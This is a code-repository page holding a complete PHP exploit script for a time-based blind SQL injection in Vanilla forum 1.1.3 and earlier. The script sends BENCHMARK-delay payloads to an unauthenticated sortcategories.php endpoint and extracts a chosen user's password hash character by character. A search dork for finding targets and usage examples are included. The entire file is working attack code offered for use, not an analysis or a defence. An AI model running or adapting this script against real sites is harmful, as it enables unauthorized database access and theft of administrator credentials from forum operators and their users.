PageRenderTime 48ms CodeModel.GetById 21ms RepoModel.GetById 1ms app.codeStats 0ms

/exploits/php/webapps/4548.php

https://bitbucket.org/DinoRex99/exploit-database
PHP | 172 lines | 165 code | 3 blank | 4 comment | 13 complexity | e192e883ee77cf4ab908a5e29200cc08 MD5 | raw file
Possible License(s): GPL-2.0
  1. <?php
  2. ## Vanilla <= 1.1.3 Remote Blind SQL Injection Exploit
  3. ## By InATeam (http://inattack.ru/)
  4. ## Requirements: MySQL >= 4.1, magic_quotes_gpc=Off
  5. ## Tested on versions 1.1.3, 1.1.2, 1.0.1
  6. echo "------------------------------------------------------------\n";
  7. echo "Vanilla <= 1.1.3 Remote Blind SQL Injection Exploit\n";
  8. echo "(c)oded by Raz0r, InATeam (http://inattack.ru/)\n";
  9. echo "dork: \"is a product of Lussumo\"\n";
  10. echo "------------------------------------------------------------\n";
  11. if ($argc<2) {
  12. echo "USAGE:\n";
  13. echo "~~~~~~\n";
  14. echo "php {$argv[0]} [url] OPTIONS\n\n";
  15. echo "[url] - target server where Vanilla is installed\n\n";
  16. echo "OPTIONS:\n";
  17. echo "-p=<prefix> - use specific prefix (default LUM_)\n";
  18. echo "-id=<id> - use specific user id (default 1)\n";
  19. echo "-c=<count> - benchmark()'s loop count (default 300000)\n";
  20. echo "-v - verbose mode\n\n";
  21. echo "tip:\n";
  22. echo "use bigger number of <count> if server is slow\n\n";
  23. echo "examples:\n";
  24. echo "php {$argv[0]} http://site.com/vanilla/ -p=forum_ -id=2\n";
  25. echo "php {$argv[0]} http://forum.site.com:8080/ -c=400000\n";
  26. die;
  27. }
  28. /**
  29. * Software site: http://lussumo.com/
  30. *
  31. * Script /ajax/sortcategories.php is supposed to be used by admin to sort
  32. * the categories. However it isnt protected from unathorized users. Besides,
  33. * it doesnt properly sanitize user's input data, so we can inject the SQL * code into the UPDATE query. Script /ajax/sortroles.php is also vulnerable.
  34. */
  35. error_reporting(0);
  36. set_time_limit(0);
  37. ini_set("max_execution_time",0);
  38. ini_set("default_socket_timeout",20);
  39. $url = $argv[1];
  40. for($i=2;$i<$argc;$i++) {
  41. if(strpos($argv[$i],"=")!==false) {
  42. $exploded=explode("=",$argv[$i]);
  43. if ($exploded[0]=='-p') $prefix = $exploded[1];
  44. if ($exploded[0]=='-id') $id = $exploded[1];
  45. if ($exploded[0]=='-c') $benchmark = $exploded[1];
  46. }
  47. elseif($argv[$i] == '-v') $verbose=true;
  48. }
  49. if (!isset($prefix)) $prefix = "LUM_";
  50. if (!isset($id)) $id = 1;
  51. if (!isset($benchmark)) $benchmark = 300000;
  52. if (!isset($verbose)) $verbose=false;
  53. $url_parts = parse_url($url);
  54. $host = $url_parts['host'];
  55. if (isset($url_parts['port'])) $port = $url_parts['port']; else $port = 80;
  56. $path = $url_parts['path'];
  57. $query_pattern = "-99'+OR+IF(%s,BENCHMARK(%d,MD5(31337)),1)/*";
  58. print "[~] Testing probe delays...\n";
  59. $ok=true; $nodelay=0; $withdelay=0;
  60. for ($i=1;$i<=3;$i++){
  61. $query = sprintf($query_pattern, "1=1", 1);
  62. $fdelay = get($query);
  63. if ($fdelay!==false) $nodelay+=$fdelay; else {$ok=false;break;}
  64. $query = sprintf($query_pattern, "1=1", $benchmark);
  65. $sdelay = get($query);
  66. if ($sdelay!==false) $withdelay+=$sdelay; else {$ok=false;break;}
  67. if ($sdelay<=($fdelay*2)) {$ok=false;break;}
  68. usleep($benchmark/1000); $delay=false;
  69. }
  70. if ($ok) {
  71. $nondelayed = $nodelay/3;
  72. print "[+] Average nondelayed queries response time: ".round($nondelayed,1)." dsecs\n";
  73. $delayed = $withdelay/3;
  74. print "[+] Average delayed queries response time: ".round($delayed,1)." dsecs\n";
  75. }
  76. else die("[-] Exploit failed\n");
  77. print " Getting hash...";
  78. if ($verbose) {print "\r[~]"; print "\n";}
  79. $hash='';
  80. for($i=1; $i<=32; $i++) {
  81. $chr = gethashchar($i);
  82. if($chr!==false) $hash .= $chr;
  83. else {
  84. $chr = gethashchar($i);
  85. if ($chr !==false)$hash .= $chr;
  86. else die("\n[-] Exploit failed\n"); } }
  87. if (!$verbose) {print "\r[~]"; print "\n";}
  88. print "[+] Result: {$hash}\n";
  89. function gethashchar ($pos) {
  90. global $query_pattern,$prefix,$id,$benchmark,$verbose;
  91. $inj = "ORD(SUBSTRING((SELECT+Password+FROM+{$prefix}User+WHERE+UserID={$id}),{$pos},1))";
  92. $query = sprintf($query_pattern, $inj.">57", $benchmark*4);
  93. $success = condition($query);
  94. if (!$success) {
  95. if ($verbose) print "[v] Position {$pos}: char is [0-9]\n";
  96. $min = 48;
  97. $max = 57; }
  98. else {
  99. if ($verbose) print "[v] Position {$pos}: char is [a-f]\n";
  100. $min = 97;
  101. $max = 102; }
  102. for($i=$min;$i<=$max;$i++) {
  103. $query = sprintf($query_pattern, $inj."=".$i, $benchmark*4);
  104. $success = condition($query);
  105. if ($success) {
  106. $query = sprintf($query_pattern, $inj."<>".$i, $benchmark*4);
  107. $recheck = condition($query);
  108. if (!$recheck) {
  109. $chr = chr($i);
  110. if ($verbose) print "[v] Position {$pos}: char is {$chr}\n";
  111. return $chr;
  112. }
  113. }
  114. }
  115. return false;
  116. }
  117. function condition($query) {
  118. global $delayed,$benchmark,$verbose;
  119. for($attempt = 1; $attempt <= 10; $attempt++){
  120. $delay = get($query,true);
  121. if ($delay === false) {
  122. if ($verbose) print "[v] Attempt {$attempt}: error\n";
  123. }
  124. else {
  125. if ($verbose) print "[v] Attempt {$attempt}: success (delay is {$delay} dsecs)\n"; break;
  126. }
  127. }
  128. if ($attempt == 10) die("[-] Exploit failed\n");
  129. if($delay > ($delayed * 2)) {
  130. usleep(($benchmark*4)/1000);
  131. return true; }
  132. return false;
  133. }
  134. function get($query,$gethash=false) {
  135. global $host,$port,$path,$verbose;
  136. if ($gethash&&!$verbose) status();
  137. $start = getmicrotime();
  138. $ock = fsockopen(gethostbyname($host),$port);
  139. if (!$ock) return false;
  140. else {
  141. $packet = "GET {$path}ajax/sortcategories.php?CategoryID={$query} HTTP/1.0\r\n";
  142. $packet .= "Host: {$host}\r\n";
  143. $packet .= "User-Agent: InAttack User Agent\r\n";
  144. $packet .= "Connection: Close\r\n\r\n";
  145. fputs($ock, $packet);
  146. $html='';
  147. while (!feof($ock)) $html.=fgets($ock);
  148. $end = getmicrotime();
  149. $exploded = explode("\r\n",$html);
  150. $errno=array();
  151. preg_match('@(\d{3})@',$exploded[0],$errno);
  152. if ($errno[1]!=200) die("[-] Exploit failed\n");
  153. }
  154. return intval(($end-$start)*10);
  155. }
  156. function status() {
  157. static $n;
  158. $n++;
  159. if ($n > 3) $n = 0;
  160. if($n==0){ print "\r[-]\r"; }
  161. if($n==1){ print "\r[\\]\r";}
  162. if($n==2){ print "\r[|]\r"; }
  163. if($n==3){ print "\r[/]\r"; }
  164. }
  165. function getmicrotime() {return array_sum(explode(" ", microtime()));}
  166. ?>
  167. # milw0rm.com [2007-10-20]